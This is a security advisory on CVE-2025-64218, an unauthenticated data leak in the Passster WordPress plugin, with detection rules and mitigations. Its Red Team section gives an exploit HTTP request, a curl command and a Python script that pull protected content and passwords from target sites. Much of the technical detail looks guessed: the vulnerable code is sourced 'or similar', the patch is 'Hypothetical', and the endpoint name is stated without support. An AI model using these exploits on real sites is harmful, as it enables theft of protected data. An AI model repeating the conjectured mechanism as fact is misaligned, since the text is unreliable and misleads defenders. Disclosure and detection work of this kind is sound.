CVE-2025-64218

Executive Summary

CVE-2025-64218 is a high-severity (CVSS 7.5) information disclosure vulnerability affecting the WordPress plugin Passster (content-protector) by WP Chill, up to and including version 4.2.19. The vulnerability is classified as CWE-201 (Insertion of Sensitive Information Into Sent Data), allowing an unauthenticated attacker to retrieve embedded sensitive data from the plugin's responses. This is a WordPress ecosystem issue, not related to Apache or Nginx.

The vulnerability stems from the plugin's failure to properly sanitize or restrict sensitive data (e.g., passwords, API keys, or protected content) when transmitting responses to users. An attacker can exploit this by sending crafted requests to endpoints that leak the protected data in the response body, bypassing the intended access controls.

Key Risk: Unauthenticated remote attackers can extract sensitive information (e.g., protected content passwords, user data) without any privileges, leading to data breaches and further compromise of the WordPress site.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. The supply chain risk is moderate, as the plugin is widely used for content protection. No known malicious packages or backdoors have been identified in the current version, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

Threat Level: High. The vulnerability is easily exploitable remotely without authentication, and the impact on confidentiality is severe.

Deep Dive & Mechanics

The Passster plugin is designed to protect content (e.g., pages, posts) behind a password or access control. The vulnerability lies in how the plugin handles the transmission of sensitive data (e.g., the password or protected content) in HTTP responses.

Root Cause: The plugin inserts sensitive information (e.g., the password used to protect content) into the response data sent to the client, even when the client is not authenticated. This occurs in the plugin's AJAX handler or shortcode processing logic, where the protected content is fetched and returned without proper access checks.

Attack Vector: An unauthenticated attacker sends a specially crafted HTTP request (e.g., via AJAX or direct URL) to a Passster endpoint that returns the protected content. The response includes the sensitive data (e.g., the password or the protected content itself) in plaintext.

Example Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-site.com
Content-Type: application/x-www-form-urlencoded

action=passster_get_protected_content&post_id=123

Example Response (vulnerable):

{
  "success": true,
  "data": {
    "content": "This is the protected content.",
    "password": "supersecret123"
  }
}

The attacker can then use the leaked password to access other protected content or directly extract the protected data.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.2.19):

// In passster.php or similar
function passster_get_protected_content() {
    $post_id = $_POST['post_id'];
    $post = get_post($post_id);
    $password = get_post_meta($post_id, 'passster_password', true);
    // No authentication check
    wp_send_json_success(array(
        'content' => $post->post_content,
        'password' => $password // Sensitive data leaked
    ));
}

Patched Code (Hypothetical):

function passster_get_protected_content() {
    $post_id = $_POST['post_id'];
    // Check if user has access
    if (!passster_check_access($post_id)) {
        wp_send_json_error('Access denied');
        return;
    }
    $post = get_post($post_id);
    // Do not include password in response
    wp_send_json_success(array(
        'content' => $post->post_content
    ));
}

The patched version adds an access check and removes the password from the response.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install WordPress with Passster plugin version 4.2.19.
2. Create a protected page with a password.
3. Use a tool like Burp Suite or curl to send the exploit request.

Exploit Command:

curl -X POST http://target-site.com/wp-admin/admin-ajax.php \
  -d "action=passster_get_protected_content&post_id=1"

Expected Output:

{"success":true,"data":{"content":"Protected content here","password":"mypassword"}}

Automation Script (Python):

import requests

target = "http://target-site.com"
post_id = 1  # Change to target post ID

response = requests.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "passster_get_protected_content",
    "post_id": post_id
})

if response.status_code == 200:
    data = response.json()
    if data.get("success"):
        print(f"Leaked password: {data['data']['password']}")
        print(f"Protected content: {data['data']['content']}")

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=passster_get_protected_content.
• Look for responses containing both content and password fields.
• Use WAF rules to block requests to this endpoint from unauthenticated users.

Mitigation:

• Immediately disable the Passster plugin if no patch is available.
• Implement a virtual patch using a WAF to block the vulnerable endpoint.
• Monitor logs for exploitation attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /wp-admin/admin-ajax.php with parameter action=passster_get_protected_content.
  • Responses containing JSON with keys content and password.
• File IOCs:
  • Plugin file: /wp-content/plugins/passster/passster.php (version <= 4.2.19).
• Behavioral IOCs:
  • Unauthorized access to protected content without valid password.
  • Multiple failed login attempts to protected pages.

Detection Engineering

YARA Rule

rule CVE_2025_64218_Passster_InfoDisclosure {
    meta:
        description = "Detects Passster plugin files vulnerable to CVE-2025-64218"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-64218"
    strings:
        $vuln_func = "passster_get_protected_content"
        $sensitive_data = "password"
        $json_success = "wp_send_json_success"
    condition:
        $vuln_func and $sensitive_data and $json_success
}

Sigma Rule

title: CVE-2025-64218 Passster Information Disclosure
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2025-64218 in Passster plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query: 'action=passster_get_protected_content'
    condition: selection
falsepositives:
    - Legitimate plugin usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-64218 Passster Information Disclosure Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=passster_get_protected_content"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Passster plugin until a patch is released.
2. Apply a virtual patch using a WAF to block requests to admin-ajax.php with action=passster_get_protected_content from unauthenticated users.
3. Review server logs for any signs of exploitation.

Long-term Fix:

• Monitor the WP Chill website for an official patch (version > 4.2.19).
• Once patched, update the plugin immediately.
• Consider using an alternative content protection plugin if no patch is provided.

Workaround:

• If the plugin must remain active, restrict access to the AJAX endpoint via .htaccess:

<Files "admin-ajax.php">
    Require all denied
</Files>

(Note: This will break legitimate AJAX functionality; use with caution.)

Valters IT
DevSecOps & Cyber Threat Intelligence